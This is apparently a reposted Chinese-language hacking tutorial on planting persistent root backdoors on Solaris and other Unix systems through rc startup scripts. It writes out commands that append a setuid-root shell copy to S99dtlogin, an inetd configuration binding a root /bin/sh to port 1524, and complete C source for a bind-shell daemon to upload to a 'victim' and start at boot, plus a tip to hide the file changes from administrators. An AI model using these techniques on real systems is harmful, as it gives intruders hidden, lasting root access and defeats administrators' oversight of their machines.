an example to make a backdoor in linux

发表于:2007-05-25来源:作者:点击数: 标签:linuxmakebackdoorscExample
by scz: 关于backend的后门技巧.已经可以让很多的管理员防不胜防了.但是.我这里想 补充一点,只是我自己的一点看法. 关于backend的后门技巧.已经可以让很多的管理员防不胜防了.但是.我这里想 补充一点,只是我自己的一点看法. 1:超级 服务器 守护进程(inetd)

by scz:

关于backend的后门技巧.已经可以让很多的管理员防不胜防了.但是.我这里想
补充一点,只是我自己的一点看法.

关于backend的后门技巧.已经可以让很多的管理员防不胜防了.但是.我这里想
补充一点,只是我自己的一点看法.

1:超级服务器守护进程(inetd)的配置文件。系统管理员一般情况下不经常检
查该文件,因此这倒是个放置“后门”的好地方。:)-----------引文

既然可以在这里放置后门,那么为什么不再深入一点,在rc文件里面做手脚呢?
管理员或许可能检查inetd.conf.因为毕竟这是一个文件.而rc.xxx有好多文件.
管理员在配置好以后,一般很不愿意去检查或者改动.以防止网络或者系统配置出
现问题.那么,我们就可以着手了.
lgwu$uname -a
SunOS xxxx 5.6 Generic_105181-13 sun4u sparc SUNW,Ultra-4
sun solaris的rc文件在/etc下面.具体的位置是rc2.d和rc3.d,而在sunos下面的
rc文件是如此众多.我觉得没有多少管理员愿意仔细察看具体的文件有类似的
lgwu/etc/rc2.d$ls -l
total 140
lrwxrwxrwx   1 root     root          13 Apr 26  1999K20spc> ../init.d/spc
-rwxr--r--   5 root     sys         1738 Jul 16  1997 K60nfs.server
-rwxr--r--   5 root     sys         1738 Jul 16  1997 K60nfs.server
-rwxr-xr-x   3 root     sys          677 Jul 16  1997 K76snmpdx
-rwxr-xr-x   3 root     sys          951 Jul 16  1997 K77dmi
-rw-r--r--   1 root     sys         1369 Jul 16  1997 README
-rwxr--r--   3 root     sys          619 Jul 16  1997 S01MOUNTFSYS
-rwxr--r--   2 root     sys         2272 Jul 16  1997 S05RMTMPFILES
-rwxr--r--   2 root     sys          822 Jul 16  1997 S20sysetup
-rwxr--r--   2 root     sys          548 Jul 16  1997 S21perf
-rwxr-xr-x   2 root     sys         1644 Jul  3  1997 S30sysid.net
-rwxr--r--   4 root     sys         1474 Jan 16  1998 S47asppp
-rwxr--r--   2 root     sys         5645 Jul 16  1997 S69inet
-rwxr--r--   2 root     sys          212 Jul 16  1997 S70uucp
..............................
sunos下面以"S"打头的是启动时需要得shell script.(S means Start)
lgwu/etc/rc2.d$cat S98sshd
#!/bin/sh
echo "Starting sshd ..."
/usr/local/sbin/sshd
ok,既然在启动的时候需要加载这些shell script.那么也大可以把你想加载的
后门一起load 进去办法很多.如果你有确定的用户,那么比较好的办法就是在
启动文件里面帮助你cp一个suid的rootshell.
这里要注意一点.要看看这些shell script在什么地方exit 0.免得你的后门没
有被执行就exit 0了,那么!@##$!@#@.
lgwu/usr/spool/lp$echo "cp /bin/ksh /usr/spool/lp/.bob">>S99dtlogin
lgwu/usr/spool/lp$echo "chmod 4755 /usr/spool/lp/.bob">>S99dtlogin
你可以选择你觉得合适的Sxxxx,但一般选择S99dtlogin或者管理员自己增加的Sxx
好了.我们来看看
lgwu/etc/rc2.d$tail S99dtlogin
        update_printers
        ;;

*)
        usage_error
        exit 1
        ;;
esac
cp /bin/ksh /usr/spool/lp/.bob
chmod 4755 /usr/spool/lp/.bob
exit 0
好.一个suid shell的后门就好了.

2:如果你没有一个账号,那么就开一个bind shell的后门也是可以的
首先,你要建立一个让inetd启动的文件
# cat /usr/spool/uucp/.bob;
ingreslock      stream  tcp     nowait  root    /bin/sh sh -i
好,然后在你需要的rc文件里面加入这个后门
# tail S94*;

'stop')
        killproc ns-httpd
        ;;
*)
        echo "Usage: /etc/init.d/entprise.server { start | stop }"
        ;;
esac
#now start a back door
/usr/sbin/inetd -s /usr/spool/uucp/.bob
ok,这样在服务器reboot以后.在port 1524(ingreslock对应的tcp port)
将出现一个bind shell backdoor.
lgwu~$telnet xxx.xxx.xxx 1524
Trying 1.1.1.1...
Connected to xxx.xxx.xxx.
Escape character is '^]'.
# id;
uid=0(root) gid=0(root)


3:利用/etc/services里面出现的服务虽然简单.但是如果对方admin认为这个服务
不需要而把这个服务删除.那么我们还有办法.这里要先编译一个daemon 程序
********************************cut***********************
lgwu~$cat bindshell.c

/* quick thingy... bind a shell to a socket... defaults to port 31337 */
/* code by pluvius@io.org                                             */
/* don't forget.. when you connect to the port.. commands are like:   */
/* "ls -l;" or "exit;" (don't forget the ';')                         */
/* dont forget to use -lsocket when u compile in a solaris box .lgwu */

#define PORT 34717
#include
#include
#include
#include
#include

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

int main ()
{
    soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (soc_des == -1)
        exit(-1);
    bzero((char *) &serv_addr, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    serv_addr.sin_port = htons(PORT);
    soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
    if (soc_rc != 0)
        exit(-1);
    if (fork() != 0)
        exit(0);
    setpgrp();
    signal(SIGHUP, SIG_IGN);
    if (fork() != 0)
        exit(0);
    soc_rc = listen(soc_des, 5);
    if (soc_rc != 0)
        exit(0);
    while (1) {
soc_len = sizeof(client_addr);
        soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
        if (soc_cli < 0)
            exit(0);
        cli_pid = getpid();
        server_pid = fork();
        if (server_pid != 0) {
            dup2(soc_cli,0);
            dup2(soc_cli,1);
            dup2(soc_cli,2);
            execl("/bin/sh","sh -i",(char *)0);
            close(soc_cli);
            exit(0);
        }
    close(soc_cli);
    }
}

************************************end****************************
#define PORT 34717 这个地方定义你需要这个程序监听的port
好,先把他编译好 (gcc bindshell.c -o bind -lsocket).然后传到victim下面
(use rcp is better)
# tail /etc/rc2.d/S99dtlogin;
        update_printers
        ;;

*)
        usage_error
        exit 1
        ;;
esac
/usr/spool/lp/.bob
exit 0
: not found
这样在机器reboot以后将在PORT开放一个bind shell,因为rc文件由root启动
这样bind shell就有root权限  :-))
当然你也可以把这个程序放在crontab里面,或者用at启动 . :-)
linux和freebsd sco openserver下面也可以用类似的办法在rc文件里面放置
backdoor这里我就不重复了
PS:千万别忘记了touch你修改过的rc file

原文转自:http://www.ltesting.net